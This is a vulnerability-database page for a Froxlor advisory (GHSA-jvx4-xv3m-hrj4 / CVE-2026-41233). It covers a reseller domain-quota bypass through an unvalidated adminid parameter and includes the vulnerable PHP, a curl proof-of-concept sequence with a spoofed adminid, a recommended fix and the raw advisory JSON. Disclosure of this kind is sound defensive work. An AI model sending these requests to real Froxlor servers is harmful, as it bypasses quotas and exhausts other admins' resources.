Vulnerability-Lookup

GHSA-JVX4-XV3M-HRJ4

Vulnerability from github – Published: 2026-04-16 00:46 – Updated: 2026-04-16 00:46

Summary

Froxlor has a Reseller Domain Quota Bypass via Unvalidated adminid Parameter in Domains.add()

Details

Summary

In Domains.add(), the adminid parameter is accepted from user input and used without validation when the calling reseller does not have the customers_see_all permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin's domains_used counter is incremented) and potentially exhausting another admin's quota.

Details

In lib/Froxlor/Api/Commands/Domains.php, the add() method accepts adminid as an optional parameter at line 327:

$adminid = intval($this->getParam('adminid', true, $this->getUserDetail('adminid')));

The validation for this parameter only runs when the caller has customers_see_all == '1' (lines 410-421):

if ($this->getUserDetail('customers_see_all') == '1' && $adminid != $this->getUserDetail('adminid')) {
    $admin_stmt = Database::prepare("
        SELECT * FROM `" . TABLE_PANEL_ADMINS . "`
        WHERE `adminid` = :adminid AND (`domains_used` < `domains` OR `domains` = '-1')");
    $admin = Database::pexecute_first($admin_stmt, [
        'adminid' => $adminid
    ], true, true);
    if (empty($admin)) {
        Response::dynamicError("Selected admin cannot have any more domains or could not be found");
    }
    unset($admin);
}

When a reseller does not have customers_see_all (the common case for limited resellers), there is no else branch to force $adminid = $this->getUserDetail('adminid'). The unvalidated $adminid flows directly into:

The domain INSERT at line 757: 'adminid' => $adminid
The quota increment at lines 862-868:

$upd_stmt = Database::prepare("
    UPDATE `" . TABLE_PANEL_ADMINS . "` SET `domains_used` = `domains_used` + 1
    WHERE `adminid` = :adminid
");
Database::pexecute($upd_stmt, ['adminid' => $adminid], true, true);

Compare with Domains.update() at lines 1386-1387 which correctly handles this case:

} else {
    $adminid = $result['adminid'];
}

The initial quota check at line 321 checks the caller's own quota ($this->getUserDetail('domains_used')), but since the caller's domains_used is never incremented (the wrong admin's counter is incremented instead), this check passes indefinitely.

Note: The getCustomerData() call at line 407 does correctly restrict the customerid to the reseller's own customers (via Customers.get which filters by adminid). However, this does not prevent the adminid field itself from being spoofed.

PoC

# Step 1: Create a domain with the reseller's API key, specifying a different admin's ID
curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \
  -d '{"command": "Domains.add", "params": {"domain": "bypass-test-1.com", "customerid": 3, "adminid": 1}}'

# Where:
# - RESELLER_API_KEY:RESELLER_API_SECRET = API credentials for a reseller WITHOUT customers_see_all
# - customerid=3 = one of the reseller's own customers
# - adminid=1 = the super-admin's ID (or any other admin's ID)

# Step 2: Verify the domain was created with adminid=1
# In the database: SELECT adminid, domain FROM panel_domains WHERE domain='bypass-test-1.com';
# Expected: adminid=1

# Step 3: Check the reseller's quota was NOT incremented
# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=<reseller_id>;
# Expected: domains_used unchanged

# Step 4: Check the target admin's quota WAS incremented
# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=1;
# Expected: domains_used incremented by 1

# Step 5: Repeat with different domain names to demonstrate unlimited creation
curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \
  -d '{"command": "Domains.add", "params": {"domain": "bypass-test-2.com", "customerid": 3, "adminid": 1}}'

curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \
  -d '{"command": "Domains.add", "params": {"domain": "bypass-test-3.com", "customerid": 3, "adminid": 1}}'

# The reseller's domains_used remains unchanged, allowing indefinite creation

Impact

Quota bypass: A reseller can create unlimited domains beyond their allocated quota, since their own domains_used counter is never incremented.
Quota exhaustion DoS: The target admin's domains_used counter is incremented instead, potentially exhausting their quota and preventing legitimate domain creation.
Data integrity violation: Domains are associated with an admin who does not own the customer, breaking the ownership model. These domains become invisible to the reseller in domain listings (which filter by adminid) but remain active on the server.
Accounting inaccuracy: Resource usage reporting and billing tied to admin quotas becomes incorrect.

Recommended Fix

Add an else branch to force $adminid to the caller's own admin ID when customers_see_all != '1', consistent with the pattern used in Domains.update():

// In lib/Froxlor/Api/Commands/Domains.php, after line 421:

if ($this->getUserDetail('customers_see_all') == '1' && $adminid != $this->getUserDetail('adminid')) {
    $admin_stmt = Database::prepare("
        SELECT * FROM `" . TABLE_PANEL_ADMINS . "`
        WHERE `adminid` = :adminid AND (`domains_used` < `domains` OR `domains` = '-1')");
    $admin = Database::pexecute_first($admin_stmt, [
        'adminid' => $adminid
    ], true, true);
    if (empty($admin)) {
        Response::dynamicError("Selected admin cannot have any more domains or could not be found");
    }
    unset($admin);
} else {
    // Force adminid to the caller's own ID when they don't have customers_see_all
    $adminid = intval($this->getUserDetail('adminid'));
}

Severity ?

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Show details on source website

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "froxlor/froxlor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T00:46:47Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nIn `Domains.add()`, the `adminid` parameter is accepted from user input and used without validation when the calling reseller does not have the `customers_see_all` permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin\u0027s `domains_used` counter is incremented) and potentially exhausting another admin\u0027s quota.\n\n## Details\n\nIn `lib/Froxlor/Api/Commands/Domains.php`, the `add()` method accepts `adminid` as an optional parameter at line 327:\n\n```php\n$adminid = intval($this-\u003egetParam(\u0027adminid\u0027, true, $this-\u003egetUserDetail(\u0027adminid\u0027)));\n```\n\nThe validation for this parameter only runs when the caller has `customers_see_all == \u00271\u0027` (lines 410-421):\n\n```php\nif ($this-\u003egetUserDetail(\u0027customers_see_all\u0027) == \u00271\u0027 \u0026\u0026 $adminid != $this-\u003egetUserDetail(\u0027adminid\u0027)) {\n    $admin_stmt = Database::prepare(\"\n        SELECT * FROM `\" . TABLE_PANEL_ADMINS . \"`\n        WHERE `adminid` = :adminid AND (`domains_used` \u003c `domains` OR `domains` = \u0027-1\u0027)\");\n    $admin = Database::pexecute_first($admin_stmt, [\n        \u0027adminid\u0027 =\u003e $adminid\n    ], true, true);\n    if (empty($admin)) {\n        Response::dynamicError(\"Selected admin cannot have any more domains or could not be found\");\n    }\n    unset($admin);\n}\n```\n\nWhen a reseller does **not** have `customers_see_all` (the common case for limited resellers), there is no `else` branch to force `$adminid = $this-\u003egetUserDetail(\u0027adminid\u0027)`. The unvalidated `$adminid` flows directly into:\n\n1. The domain INSERT at line 757: `\u0027adminid\u0027 =\u003e $adminid`\n2. The quota increment at lines 862-868:\n```php\n$upd_stmt = Database::prepare(\"\n    UPDATE `\" . TABLE_PANEL_ADMINS . \"` SET `domains_used` = `domains_used` + 1\n    WHERE `adminid` = :adminid\n\");\nDatabase::pexecute($upd_stmt, [\u0027adminid\u0027 =\u003e $adminid], true, true);\n```\n\nCompare with `Domains.update()` at lines 1386-1387 which correctly handles this case:\n\n```php\n} else {\n    $adminid = $result[\u0027adminid\u0027];\n}\n```\n\nThe initial quota check at line 321 checks the *caller\u0027s* own quota (`$this-\u003egetUserDetail(\u0027domains_used\u0027)`), but since the caller\u0027s `domains_used` is never incremented (the wrong admin\u0027s counter is incremented instead), this check passes indefinitely.\n\nNote: The `getCustomerData()` call at line 407 does correctly restrict the `customerid` to the reseller\u0027s own customers (via `Customers.get` which filters by `adminid`). However, this does not prevent the `adminid` field itself from being spoofed.\n\n## PoC\n\n```bash\n# Step 1: Create a domain with the reseller\u0027s API key, specifying a different admin\u0027s ID\ncurl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \\\n  -d \u0027{\"command\": \"Domains.add\", \"params\": {\"domain\": \"bypass-test-1.com\", \"customerid\": 3, \"adminid\": 1}}\u0027\n\n# Where:\n# - RESELLER_API_KEY:RESELLER_API_SECRET = API credentials for a reseller WITHOUT customers_see_all\n# - customerid=3 = one of the reseller\u0027s own customers\n# - adminid=1 = the super-admin\u0027s ID (or any other admin\u0027s ID)\n\n# Step 2: Verify the domain was created with adminid=1\n# In the database: SELECT adminid, domain FROM panel_domains WHERE domain=\u0027bypass-test-1.com\u0027;\n# Expected: adminid=1\n\n# Step 3: Check the reseller\u0027s quota was NOT incremented\n# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=\u003creseller_id\u003e;\n# Expected: domains_used unchanged\n\n# Step 4: Check the target admin\u0027s quota WAS incremented\n# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=1;\n# Expected: domains_used incremented by 1\n\n# Step 5: Repeat with different domain names to demonstrate unlimited creation\ncurl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \\\n  -d \u0027{\"command\": \"Domains.add\", \"params\": {\"domain\": \"bypass-test-2.com\", \"customerid\": 3, \"adminid\": 1}}\u0027\n\ncurl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \\\n  -d \u0027{\"command\": \"Domains.add\", \"params\": {\"domain\": \"bypass-test-3.com\", \"customerid\": 3, \"adminid\": 1}}\u0027\n\n# The reseller\u0027s domains_used remains unchanged, allowing indefinite creation\n```\n\n## Impact\n\n1. **Quota bypass**: A reseller can create unlimited domains beyond their allocated quota, since their own `domains_used` counter is never incremented.\n2. **Quota exhaustion DoS**: The target admin\u0027s `domains_used` counter is incremented instead, potentially exhausting their quota and preventing legitimate domain creation.\n3. **Data integrity violation**: Domains are associated with an admin who does not own the customer, breaking the ownership model. These domains become invisible to the reseller in domain listings (which filter by `adminid`) but remain active on the server.\n4. **Accounting inaccuracy**: Resource usage reporting and billing tied to admin quotas becomes incorrect.\n\n## Recommended Fix\n\nAdd an `else` branch to force `$adminid` to the caller\u0027s own admin ID when `customers_see_all != \u00271\u0027`, consistent with the pattern used in `Domains.update()`:\n\n```php\n// In lib/Froxlor/Api/Commands/Domains.php, after line 421:\n\nif ($this-\u003egetUserDetail(\u0027customers_see_all\u0027) == \u00271\u0027 \u0026\u0026 $adminid != $this-\u003egetUserDetail(\u0027adminid\u0027)) {\n    $admin_stmt = Database::prepare(\"\n        SELECT * FROM `\" . TABLE_PANEL_ADMINS . \"`\n        WHERE `adminid` = :adminid AND (`domains_used` \u003c `domains` OR `domains` = \u0027-1\u0027)\");\n    $admin = Database::pexecute_first($admin_stmt, [\n        \u0027adminid\u0027 =\u003e $adminid\n    ], true, true);\n    if (empty($admin)) {\n        Response::dynamicError(\"Selected admin cannot have any more domains or could not be found\");\n    }\n    unset($admin);\n} else {\n    // Force adminid to the caller\u0027s own ID when they don\u0027t have customers_see_all\n    $adminid = intval($this-\u003egetUserDetail(\u0027adminid\u0027));\n}\n```",
  "id": "GHSA-jvx4-xv3m-hrj4",
  "modified": "2026-04-16T00:46:47Z",
  "published": "2026-04-16T00:46:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-jvx4-xv3m-hrj4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/froxlor/froxlor"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Froxlor has a Reseller Domain Quota Bypass via Unvalidated adminid Parameter in Domains.add()"
}

CVE-2026-41233 (GCVE-0-2026-41233)

Vulnerability from cvelistv5 – Published: 2026-04-23 04:00 – Updated: 2026-04-23 12:26

Title

Froxlor has a Reseller Domain Quota Bypass via Unvalidated adminid Parameter in Domains.add()

Summary

Froxlor is open source server administration software. Prior to version 2.3.6, in `Domains.add()`, the `adminid` parameter is accepted from user input and used without validation when the calling reseller does not have the `customers_see_all` permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin's `domains_used` counter is incremented) and potentially exhausting another admin's quota. Version 2.3.6 fixes the issue.

Severity ?

5.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

CWE

CWE-863 - Incorrect Authorization

Assigner

GitHub_M

References

URL

Tags

	https://github.com/froxlor/froxlor/security/advis…	x_refsource_CONFIRM
	https://github.com/froxlor/froxlor/commit/bf47ba1…	x_refsource_MISC
	https://github.com/froxlor/froxlor/releases/tag/2.3.6	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	froxlor	froxlor	Affected: < 2.3.6

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-41233",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-23T12:26:17.190754Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-23T12:26:22.883Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-jvx4-xv3m-hrj4"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "froxlor",
          "vendor": "froxlor",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.3.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Froxlor is open source server administration software. Prior to version 2.3.6, in `Domains.add()`, the `adminid` parameter is accepted from user input and used without validation when the calling reseller does not have the `customers_see_all` permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin\u0027s `domains_used` counter is incremented) and potentially exhausting another admin\u0027s quota. Version 2.3.6 fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.4,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-863",
              "description": "CWE-863: Incorrect Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-23T04:00:19.011Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/froxlor/froxlor/security/advisories/GHSA-jvx4-xv3m-hrj4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-jvx4-xv3m-hrj4"
        },
        {
          "name": "https://github.com/froxlor/froxlor/commit/bf47ba15329506e9f9662f9462463932aa80dff5",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/froxlor/froxlor/commit/bf47ba15329506e9f9662f9462463932aa80dff5"
        },
        {
          "name": "https://github.com/froxlor/froxlor/releases/tag/2.3.6",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/froxlor/froxlor/releases/tag/2.3.6"
        }
      ],
      "source": {
        "advisory": "GHSA-jvx4-xv3m-hrj4",
        "discovery": "UNKNOWN"
      },
      "title": "Froxlor has a Reseller Domain Quota Bypass via Unvalidated adminid Parameter in Domains.add()"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-41233",
    "datePublished": "2026-04-23T04:00:19.011Z",
    "dateReserved": "2026-04-18T03:47:03.134Z",
    "dateUpdated": "2026-04-23T12:26:22.883Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-JVX4-XV3M-HRJ4

Summary

Details

PoC

Impact

Recommended Fix

CVE-2026-41233 (GCVE-0-2026-41233)

Tags

Sightings

Nomenclature